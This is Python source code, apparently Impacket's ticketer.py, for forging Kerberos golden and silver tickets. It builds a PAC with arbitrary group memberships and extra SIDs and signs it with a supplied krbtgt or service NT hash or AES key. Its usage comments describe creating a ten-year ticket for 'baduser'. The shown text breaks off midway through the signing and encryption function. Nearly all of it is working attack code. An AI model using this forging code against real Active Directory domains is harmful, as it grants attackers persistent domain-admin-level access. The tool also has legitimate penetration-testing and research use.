1#!/usr/bin/env python
2# Copyright (c) 2016-2018 CORE Security Technologies
3#
4# This software is provided under under a slightly modified version
5# of the Apache Software License. See the accompanying LICENSE file
6# for more information.
7#
8# Author:
9#  Alberto Solino (@agsolino)
10#
11# Description:
12#    This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC)
13#    allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the
14#    groups, extrasids, etc.
15#    Tickets duration is fixed to 10 years from now (although you can manually change it)
16#
17# References:
18#    Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash:
19#    (http://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it)
20#    Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz
21#    (https://github.com/gentilkiwi/mimikatz)
22#
23# Examples:
24#         ./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
25#
26#         will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.
27#         If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256
28#         (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as
29#         baduser.ccache.
30#
31#         ./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN>
32#                       -request -user <a valid domain user> -password <valid domain user's password> baduser
33#
34#         will first authenticate against the KDC (using -user/-password) and get a TGT that will be used
35#         as template for customization. Whatever encryption algorithms used on that ticket will be honored,
36#         hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved
37#         as baduser.ccache.
38#
39# ToDo:
40# [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh
41# [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC
42#
43import argparse
44import datetime
45import logging
46import random
47import string
48import sys
49from calendar import timegm
50from time import strptime
51from binascii import unhexlify
52
53from pyasn1.codec.der import encoder, decoder
54from pyasn1.type.univ import noValue
55
56from impacket import version
57from impacket.winregistry import hexdump
58from impacket.dcerpc.v5.dtypes import RPC_SID
59from impacket.dcerpc.v5.ndr import NDRULONG
60from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \
61    SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
62from impacket.examples import logger
63from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart
64from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \
65    PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \
66    KERB_NON_KERB_CKSUM_SALT
67from impacket.krb5.crypto import Key, _enctype_table
68from impacket.krb5.crypto import _checksum_table, Enctype
69from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
70    PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \
71    VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO
72from impacket.krb5.types import KerberosTime, Principal
73from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
74
75
76class TICKETER:
77    def __init__(self, target, password, domain, options):
78        self.__password = password
79        self.__target = target
80        self.__domain = domain
81        self.__options = options
82        if options.spn:
83            spn = options.spn.split('/')
84            self.__service = spn[0]
85            self.__server = spn[1]
86
87        # we are creating a golden ticket
88        else:
89            self.__service = 'krbtgt'
90            self.__server = self.__domain
91
92    @staticmethod
93    def getFileTime(t):
94        t *= 10000000
95        t += 116444736000000000
96        return t
97
98    def createBasicValidationInfo(self):
99        # 1) KERB_VALIDATION_INFO
100        kerbdata = KERB_VALIDATION_INFO()
101
102        aTime = timegm(datetime.datetime.utcnow().timetuple())
103        unixTime = self.getFileTime(aTime)
104
105        kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
106        kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
107
108        # LogoffTime: A FILETIME structure that contains the time the client's logon
109        # session should expire. If the session should not expire, this structure
110        # SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
111        # member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
112        # an indicator of when to warn the user that the allowed time is due to expire.
113        kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
114        kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
115
116        # KickOffTime: A FILETIME structure that contains LogoffTime minus the user
117        # account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
118        # client should not be logged off, this structure SHOULD have the dwHighDateTime
119        # member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
120        # The Kerberos service ticket end time is a replacement for KickOffTime.
121        # The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
122        # an account. A recipient of the PAC SHOULD<8> use this value as the indicator
123        # of when the client should be forcibly disconnected.
124        kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
125        kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
126
127        kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff
128        kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32
129
130        kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
131        kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
132
133        # PasswordMustChange: A FILETIME structure that contains the time at which
134        # theclient's password expires. If the password will not expire, this
135        # structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
136        # dwLowDateTime member set to 0xFFFFFFFF.
137        kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
138        kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
139
140        kerbdata['EffectiveName'] = self.__target
141        kerbdata['FullName'] = ''
142        kerbdata['LogonScript'] = ''
143        kerbdata['ProfilePath'] = ''
144        kerbdata['HomeDirectory'] = ''
145        kerbdata['HomeDirectoryDrive'] = ''
146        kerbdata['LogonCount'] = 500
147        kerbdata['BadPasswordCount'] = 0
148        kerbdata['UserId'] = int(self.__options.user_id)
149        kerbdata['PrimaryGroupId'] = 513
150
151        # Our Golden Well-known groups! :)
152        groups = self.__options.groups.split(',')
153        kerbdata['GroupCount'] = len(groups)
154
155        for group in groups:
156            groupMembership = GROUP_MEMBERSHIP()
157            groupId = NDRULONG()
158            groupId['Data'] = int(group)
159            groupMembership['RelativeId'] = groupId
160            groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
161            kerbdata['GroupIds'].append(groupMembership)
162
163        kerbdata['UserFlags'] = 0
164        kerbdata['UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
165        kerbdata['LogonServer'] = ''
166        kerbdata['LogonDomainName'] = self.__domain.upper()
167        kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid)
168        kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00'
169        kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
170        kerbdata['SubAuthStatus'] = 0
171        kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
172        kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
173        kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
174        kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
175        kerbdata['FailedILogonCount'] = 0
176        kerbdata['Reserved3'] = 0
177
178        kerbdata['ResourceGroupDomainSid'] = NULL
179        kerbdata['ResourceGroupCount'] = 0
180        kerbdata['ResourceGroupIds'] = NULL
181
182        validationInfo = VALIDATION_INFO()
183        validationInfo['Data'] = kerbdata
184
185        return validationInfo
186
187    def createBasicPac(self, kdcRep):
188        validationInfo = self.createBasicValidationInfo()
189        pacInfos = {}
190        pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents()
191        srvCheckSum = PAC_SIGNATURE_DATA()
192        privCheckSum = PAC_SIGNATURE_DATA()
193
194        if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value:
195            srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
196            privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
197            srvCheckSum['Signature'] = '\x00' * 16
198            privCheckSum['Signature'] = '\x00' * 16
199        else:
200            srvCheckSum['Signature'] = '\x00' * 12
201            privCheckSum['Signature'] = '\x00' * 12
202            if len(self.__options.aesKey) == 64:
203                srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
204                privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
205            else:
206                srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
207                privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
208
209        pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData()
210        pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData()
211
212        clientInfo = PAC_CLIENT_INFO()
213        clientInfo['Name'] = self.__target.encode('utf-16le')
214        clientInfo['NameLength'] = len(clientInfo['Name'])
215        pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData()
216
217        return pacInfos
218
219    def createBasicTicket(self):
220        if self.__options.request is True:
221            if self.__domain == self.__server:
222                logging.info('Requesting TGT to target domain to use as basis')
223            else:
224                logging.info('Requesting TGT/TGS to target domain to use as basis')
225
226            if self.__options.hashes is not None:
227                lmhash, nthash = self.__options.hashes.split(':')
228            else:
229                lmhash = ''
230                nthash = ''
231            userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value)
232            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
233                                                                    unhexlify(lmhash), unhexlify(nthash), None,
234                                                                    self.__options.dc_ip)
235            if self.__domain == self.__server:
236                kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
237            else:
238                serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value)
239                tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher,
240                                                                        sessionKey)
241                kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
242
243            # Let's check we have all the necessary data based on the ciphers used. Boring checks
244            ticketCipher = int(kdcRep['ticket']['enc-part']['etype'])
245            encPartCipher = int(kdcRep['enc-part']['etype'])
246
247            if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \
248                            self.__options.nthash is None:
249                logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. '
250                                 'Can\'t continue ( or try running again w/o the -request option)')
251                return None, None
252
253            if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
254                encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
255                self.__options.aesKey is None:
256                logging.critical(
257                    'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
258                    'Can\'t continue (or try running again w/o the -request option)')
259                return None, None
260
261            if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
262                encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
263                self.__options.aesKey is not None and len(self.__options.aesKey) > 32:
264                logging.critical(
265                    'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. '
266                    'Can\'t continue (or try running again w/o the -request option)')
267                return None, None
268
269            if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
270                 encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None:
271                logging.critical(
272                    'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
273                    'Can\'t continue (or try running again w/o the -request option)')
274                return None, None
275
276            if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
277                 encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \
278                 self.__options.aesKey is not None and len(self.__options.aesKey) < 64:
279                logging.critical(
280                    'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. '
281                    'Can\'t continue')
282                return None, None
283            kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
284            kdcRep['cname']['name-string'] = noValue
285            kdcRep['cname']['name-string'][0] = self.__target
286
287        else:
288            logging.info('Creating basic skeleton ticket and PAC Infos')
289            if self.__domain == self.__server:
290                kdcRep = AS_REP()
291                kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value
292            else:
293                kdcRep = TGS_REP()
294                kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value
295            kdcRep['pvno'] = 5
296            if self.__options.nthash is None:
297                kdcRep['padata'] = noValue
298                kdcRep['padata'][0] = noValue
299                kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value
300
301                etype2 = ETYPE_INFO2()
302                etype2[0] = noValue
303                if len(self.__options.aesKey) == 64:
304                    etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
305                else:
306                    etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
307                etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target)
308                encodedEtype2 = encoder.encode(etype2)
309
310                kdcRep['padata'][0]['padata-value'] = encodedEtype2
311
312            kdcRep['crealm'] = self.__domain.upper()
313            kdcRep['cname'] = noValue
314            kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
315            kdcRep['cname']['name-string'] = noValue
316            kdcRep['cname']['name-string'][0] = self.__target
317
318            kdcRep['ticket'] = noValue
319            kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value
320            kdcRep['ticket']['realm'] = self.__domain.upper()
321            kdcRep['ticket']['sname'] = noValue
322            kdcRep['ticket']['sname']['name-string'] = noValue
323            kdcRep['ticket']['sname']['name-string'][0] = self.__service
324
325            if self.__domain == self.__server:
326                kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
327                kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper()
328            else:
329                kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
330                kdcRep['ticket']['sname']['name-string'][1] = self.__server
331
332            kdcRep['ticket']['enc-part'] = noValue
333            kdcRep['ticket']['enc-part']['kvno'] = 2
334            kdcRep['enc-part'] = noValue
335            if self.__options.nthash is None:
336                if len(self.__options.aesKey) == 64:
337                    kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
338                    kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
339                else:
340                    kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
341                    kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
342            else:
343                kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
344                kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
345
346            kdcRep['enc-part']['kvno'] = 2
347            kdcRep['enc-part']['cipher'] = noValue
348
349        pacInfos = self.createBasicPac(kdcRep)
350
351        return kdcRep, pacInfos
352
353    def customizeTicket(self, kdcRep, pacInfos):
354        logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target))
355        encTicketPart = EncTicketPart()
356
357        flags = list()
358        flags.append(TicketFlags.forwardable.value)
359        flags.append(TicketFlags.proxiable.value)
360        flags.append(TicketFlags.renewable.value)
361        if self.__domain == self.__server:
362            flags.append(TicketFlags.initial.value)
363        flags.append(TicketFlags.pre_authent.value)
364        encTicketPart['flags'] = encodeFlags(flags)
365        encTicketPart['key'] = noValue
366        encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
367
368        if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
369            encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)])
370        elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
371            encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(32)])
372        else:
373            encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)])
374
375        encTicketPart['crealm'] = self.__domain.upper()
376        encTicketPart['cname'] = noValue
377        encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
378        encTicketPart['cname']['name-string'] = noValue
379        encTicketPart['cname']['name-string'][0] = self.__target
380
381        encTicketPart['transited'] = noValue
382        encTicketPart['transited']['tr-type'] = 0
383        encTicketPart['transited']['contents'] = ''
384
385        encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
386        encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
387        # Let's extend the ticket's validity a lil bit
388        ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration))
389        encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
390        encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
391        encTicketPart['authorization-data'] = noValue
392        encTicketPart['authorization-data'][0] = noValue
393        encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value
394        encTicketPart['authorization-data'][0]['ad-data'] = noValue
395
396        # Let's locate the KERB_VALIDATION_INFO and Checksums
397        if pacInfos.has_key(PAC_LOGON_INFO):
398            data = pacInfos[PAC_LOGON_INFO]
399            validationInfo = VALIDATION_INFO()
400            validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
401            lenVal = len(validationInfo.getData())
402            validationInfo.fromStringReferents(data[lenVal:], lenVal)
403
404            aTime = timegm(strptime(str(encTicketPart['authtime']), '%Y%m%d%H%M%SZ'))
405
406            unixTime = self.getFileTime(aTime)
407
408            kerbdata = KERB_VALIDATION_INFO()
409
410            kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
411            kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
412
413            # Let's adjust username and other data
414            validationInfo['Data']['LogonDomainName'] = self.__domain.upper()
415            validationInfo['Data']['EffectiveName'] = self.__target
416            # Our Golden Well-known groups! :)
417            groups = self.__options.groups.split(',')
418            validationInfo['Data']['GroupIds'] = list()
419            validationInfo['Data']['GroupCount'] = len(groups)
420
421            for group in groups:
422                groupMembership = GROUP_MEMBERSHIP()
423                groupId = NDRULONG()
424                groupId['Data'] = int(group)
425                groupMembership['RelativeId'] = groupId
426                groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
427                validationInfo['Data']['GroupIds'].append(groupMembership)
428
429            # Let's add the extraSid
430            if self.__options.extra_sid is not None:
431                extrasids = self.__options.extra_sid.split(',')
432                if validationInfo['Data']['SidCount'] == 0:
433                    # Let's be sure user's flag specify we have extra sids.
434                    validationInfo['Data']['UserFlags'] |= 0x20
435                    validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
436                for extrasid in extrasids:
437                    validationInfo['Data']['SidCount'] += 1
438
439                    sidRecord = KERB_SID_AND_ATTRIBUTES()
440
441                    sid = RPC_SID()
442                    sid.fromCanonical(extrasid)
443
444                    sidRecord['Sid'] = sid
445                    sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
446
447                    # And, let's append the magicSid
448                    validationInfo['Data']['ExtraSids'].append(sidRecord)
449            else:
450                validationInfo['Data']['ExtraSids'] = NULL
451
452            validationInfoBlob  = validationInfo.getData() + validationInfo.getDataReferents()
453            pacInfos[PAC_LOGON_INFO] = validationInfoBlob
454
455            if logging.getLogger().level == logging.DEBUG:
456                logging.debug('VALIDATION_INFO after making it gold')
457                validationInfo.dump()
458                print ('\n')
459        else:
460            raise Exception('PAC_LOGON_INFO not found! Aborting')
461
462        logging.info('\tPAC_LOGON_INFO')
463
464        # Let's now clear the checksums
465        if pacInfos.has_key(PAC_SERVER_CHECKSUM):
466            serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
467            if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
468                serverChecksum['Signature'] = '\x00' * 12
469            elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
470                serverChecksum['Signature'] = '\x00' * 12
471            else:
472                serverChecksum['Signature'] = '\x00' * 16
473            pacInfos[PAC_SERVER_CHECKSUM] = serverChecksum.getData()
474        else:
475            raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
476
477        if pacInfos.has_key(PAC_PRIVSVR_CHECKSUM):
478            privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
479            privSvrChecksum['Signature'] = '\x00' * 12
480            if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
481                privSvrChecksum['Signature'] = '\x00' * 12
482            elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
483                privSvrChecksum['Signature'] = '\x00' * 12
484            else:
485                privSvrChecksum['Signature'] = '\x00' * 16
486            pacInfos[PAC_PRIVSVR_CHECKSUM] = privSvrChecksum.getData()
487        else:
488            raise Exception('PAC_PRIVSVR_CHECKSUM not found! Aborting')
489
490        if pacInfos.has_key(PAC_CLIENT_INFO_TYPE):
491            pacClientInfo = PAC_CLIENT_INFO(pacInfos[PAC_CLIENT_INFO_TYPE])
492            pacClientInfo['ClientId'] = unixTime
493            pacInfos[PAC_CLIENT_INFO_TYPE] = pacClientInfo.getData()
494        else:
495            raise Exception('PAC_CLIENT_INFO_TYPE not found! Aborting')
496
497        logging.info('\tPAC_CLIENT_INFO_TYPE')
498        logging.info('\tEncTicketPart')
499
500        if self.__domain == self.__server:
501            encRepPart = EncASRepPart()
502        else:
503            encRepPart = EncTGSRepPart()
504
505        encRepPart['key'] = noValue
506        encRepPart['key']['keytype'] = encTicketPart['key']['keytype']
507        encRepPart['key']['keyvalue'] = encTicketPart['key']['keyvalue']
508        encRepPart['last-req'] = noValue
509        encRepPart['last-req'][0] = noValue
510        encRepPart['last-req'][0]['lr-type'] = 0
511        encRepPart['last-req'][0]['lr-value'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
512        encRepPart['nonce'] = 123456789
513        encRepPart['key-expiration'] = KerberosTime.to_asn1(ticketDuration)
514        encRepPart['flags'] = encodeFlags(flags)
515        encRepPart['authtime'] = encTicketPart['authtime']
516        encRepPart['endtime'] = encTicketPart['endtime']
517        encRepPart['starttime'] = encTicketPart['starttime']
518        encRepPart['renew-till'] = encTicketPart['renew-till']
519        encRepPart['srealm'] = self.__domain.upper()
520        encRepPart['sname'] = noValue
521        encRepPart['sname']['name-string'] = noValue
522        encRepPart['sname']['name-string'][0] = self.__service
523
524        if self.__domain == self.__server:
525            encRepPart['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
526            encRepPart['sname']['name-string'][1] = self.__domain.upper()
527            logging.info('\tEncAsRepPart')
528        else:
529            encRepPart['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
530            encRepPart['sname']['name-string'][1] = self.__server
531            logging.info('\tEncTGSRepPart')
532
533        return encRepPart, encTicketPart, pacInfos
534
535    def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos):
536        logging.info('Signing/Encrypting final ticket')
537
538        # We changed everything we needed to make us special. Now let's repack and calculate checksums
539        validationInfoBlob = pacInfos[PAC_LOGON_INFO]
540        validationInfoAlignment = '\x00' * (((len(validationInfoBlob) + 7) / 8 * 8) - len(validationInfoBlob))
541
542        pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
543        pacClientInfoAlignment = '\x00' * (((len(pacClientInfoBlob) + 7) / 8 * 8) - len(pacClientInfoBlob))
544
545        serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
546        serverChecksumBlob = str(pacInfos[PAC_SERVER_CHECKSUM])
547        serverChecksumAlignment = '\x00' * (((len(serverChecksumBlob) + 7) / 8 * 8) - len(serverChecksumBlob))
548
549        privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
550        privSvrChecksumBlob = str(pacInfos[PAC_PRIVSVR_CHECKSUM])
551        privSvrChecksumAlignment = '\x00' * (((len(privSvrChecksumBlob) + 7) / 8 * 8) - len(privSvrChecksumBlob))
552
553        # The offset are set from the beginning of the PAC_TYPE
554        # [MS-PAC] 2.4 PAC_INFO_BUFFER
555        offsetData = 8 + len(str(PAC_INFO_BUFFER())) * 4
556
557        # Let's build the PAC_INFO_BUFFER for each one of the elements
558        validationInfoIB = PAC_INFO_BUFFER()
559        validationInfoIB['ulType'] = PAC_LOGON_INFO
560        validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
561        validationInfoIB['Offset'] = offsetData
562        offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) / 8 * 8
563
564        pacClientInfoIB = PAC_INFO_BUFFER()
565        pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
566        pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
567        pacClientInfoIB['Offset'] = offsetData
568        offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) / 8 * 8
569
570        serverChecksumIB = PAC_INFO_BUFFER()
571        serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
572        serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
573        serverChecksumIB['Offset'] = offsetData
574        offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) / 8 * 8
575
576        privSvrChecksumIB = PAC_INFO_BUFFER()
577        privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
578        privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
579        privSvrChecksumIB['Offset'] = offsetData
580        # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8
581
582        # Building the PAC_TYPE as specified in [MS-PAC]
583        buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(serverChecksumIB) + str(
584            privSvrChecksumIB) + validationInfoBlob + validationInfoAlignment + str(
585            pacInfos[PAC_CLIENT_INFO_TYPE]) + pacClientInfoAlignment
586        buffersTail = str(serverChecksumBlob) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
587
588        pacType = PACTYPE()
589        pacType['cBuffers'] = 4
590        pacType['Version'] = 0
591        pacType['Buffers'] = buffers + buffersTail
592
593        blobToChecksum = str(pacType)
594
595        checkSumFunctionServer = _checksum_table[serverChecksum['SignatureType']]
596        if serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
597            keyServer = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
598        elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
599            keyServer = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
600        elif serverChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
601            keyServer = Key(Enctype.RC4, unhexlify(self.__options.nthash))
602        else:
603            raise Exception('Invalid Server checksum type 0x%x' % serverChecksum['SignatureType'])
604
605        checkSumFunctionPriv = _checksum_table[privSvrChecksum['SignatureType']]
606        if privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
607            keyPriv = Key(Enctype.AES256, unhexlify(self.__options.aesKey))
608        elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
609            keyPriv = Key(Enctype.AES128, unhexlify(self.__options.aesKey))
610        elif privSvrChecksum['SignatureType'] == ChecksumTypes.hmac_md5.value:
611            keyPriv = Key(Enctype.RC4, unhexlify(self.__options.nthash))
612        else:
613            raise Exception('Invalid Priv checksum type 0x%x' % serverChecksum['SignatureType'])
614
615        serverChecksum['Signature'] = checkSumFunctionServer.checksum(keyServer, KERB_NON_KERB_CKSUM_SALT, blobToChecksum)
616        logging.info('\tPAC_SERVER_CHECKSUM')
617        privSvrChecksum['Signature'] = checkSumFunctionPriv.checksum(keyPriv, KERB_NON_KERB_CKSUM_SALT, serverChecksum['Signature'])
618        logging.info('\tPAC_PRIVSVR_CHECKSUM')
619
620        buffersTail = str(serverChecksum) + serverChecksumAlignment + str(privSvrChecksum) + privSvrChecksumAlignment
621        pacType['Buffers'] = buffers + buffersTail
622
623        authorizationData = AuthorizationData()
624        authorizationData[0] = noValue
625        authorizationData[0]['ad-type'] = AuthorizationDataType.AD_WIN2K_PAC.value
626        authorizationData[0]['ad-data'] = str(pacType)
627        authorizationData = encoder.encode(authorizationData)
628
629        encTicketPart['authorization-data'][0]['ad-data'] = authorizationData
630
631        if logging.getLogger().level == logging.DEBUG:
632            logging.debug('Customized EncTicketPart')
633            print encTicketPart.prettyPrint()
634            print ('\n')
635
636        encodedEncTicketPart = encoder.encode(encTicketPart)
637
